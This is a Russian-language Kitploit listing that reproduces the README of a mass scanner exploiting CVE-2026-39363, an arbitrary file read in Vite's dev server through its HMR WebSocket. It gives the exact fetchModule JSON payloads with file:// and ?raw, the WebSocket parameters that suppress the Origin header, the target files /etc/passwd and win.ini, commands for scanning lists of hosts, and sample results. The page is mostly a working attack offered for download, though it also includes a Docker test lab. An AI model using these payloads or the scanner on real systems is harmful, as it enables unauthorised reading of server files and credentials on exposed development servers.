Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39363 — Пакетный сканер уязвимостей для CVE-2026-39363 в dev-сервере Vite, эксплуатирующий обход проверки источника WebSocket для чтения произвольных файлов через fetchModule с протоколом file://. | Kitploit
Инструменты/GitHubGitHub/f4s1on/cve-2026-39363
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubf4s1on/cve-2026-39363

CVE-2026-39363

Пакетный сканер уязвимостей для CVE-2026-39363 в dev-сервере Vite, эксплуатирующий обход проверки источника WebSocket для чтения произвольных файлов через fetchModule с протоколом file://.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39363 — Произвольное чтение файлов через WebSocket Vite Dev Server (массовое сканирование)

Отказ от ответственности: Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных исследований. Пользователь обязан соблюдать местные законы и нормативные акты; несанкционированное сканирование или атака на чужие системы является противоправным действием. Автор не несёт ответственности за любое злоупотребление.

Описание уязвимости

В dev-сервере Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) HMR WebSocket не проверяет заголовок Origin. Атакующий может через событие vite:invoke вызвать fetchModule, используя протокол file:// вместе с параметром ?raw, чтобы обойти ограничение server.fs.allow и прочитать произвольные файлы на сервере.

Процесс обнаружения

root@kitploit:~
url.txt → http://host:port
  ↓ парсинг host + port
  ↓
┌─ Шаг 1: попытка ws://host:указанный_порт
│  ├─ рукопожатие WebSocket успешно + exploit успешен → уязвимость присутствует
│  └─ неудача → если указанный_порт == 5173 → уязвимость отсутствует
│
└─ Шаг 3: проверка host:5173 (только если указанный_порт ≠ 5173)
   ├─ порт закрыт → уязвимость отсутствует
   └─ порт открыт → рукопожатие WebSocket + exploit на 5173
        ├─ успех → уязвимость присутствует
        └─ неудача → уязвимость отсутствует

Использование

Установка зависимостей

root@kitploit:~
pip install -r requirements.txt

Включение и отключение прокси

Чтобы включить прокси, раскомментируйте строки 26–27 скрипта

root@kitploit:~
# Чтобы включить прокси, раскомментируйте две строки ниже и укажите корректный адрес и порт прокси
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"

Подготовка целей

Запишите целевые URL в url.txt, по одному на строку:

root@kitploit:~
http://192.168.1.100:5173
http://example.com
http://target.cn:8080

Запуск

root@kitploit:~
python cve_2026_39363.py

Вывод

Терминал:

root@kitploit:~
[*] Loaded 3 URL(s), scanning with 3 thread(s)...

http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞

[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt

result.txt:

root@kitploit:~
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)

Каждая строка содержит тип POC (Linux / Windows), указывающий на особенности успешно прочитанного файла.

Файлы проверки POC

Целевая системаЧитаемый файлХарактерный признак
Linuxfile:///etc/passwd?rawroot:
Windowsfile:///C:/Windows/win.ini?rawfor 16-bit app support

Exploit Payload

Поддерживаются два формата payload (пробуются по порядку):

  1. Формат Vulhub PoC: {"id":"send:0","name":"fetchModule","data":[file_path]}
  2. Внутренний формат RPC: {"fn":"fetchModule","args":[file_path]}

Ключевые параметры WebSocket

ПараметрЗначениеПричина
Подпротоколvite-hmrТребование Vite HMR WebSocket
OriginПодавление отправки (suppress_origin=True)Vite отклоняет небраузерные подключения с заголовком Origin

Тестирование уязвимой среды Docker

root@kitploit:~
# Запуск
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1

# Сканирование
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py

# Очистка
docker stop vite-vuln && docker rm vite-vuln

Часто задаваемые вопросы

В: Все проверки возвращают «уязвимость отсутствует»?

  • Убедитесь, что порт 5173 на цели открыт
  • Убедитесь, что Vite dev server использует --host или server.host для доступа из сети
  • Убедитесь, что WebSocket не отключён параметром server.ws: false

В: На Windows вывод содержит кракозябры?

  • Скрипт уже обрабатывает это автоматически; если проблема осталась, убедитесь, что терминал использует кодировку UTF-8

В: Сгенерированный в PowerShell url.txt не парсится?

  • Скрипт использует utf-8-sig для автоматического пропуска BOM
Скачать инструмент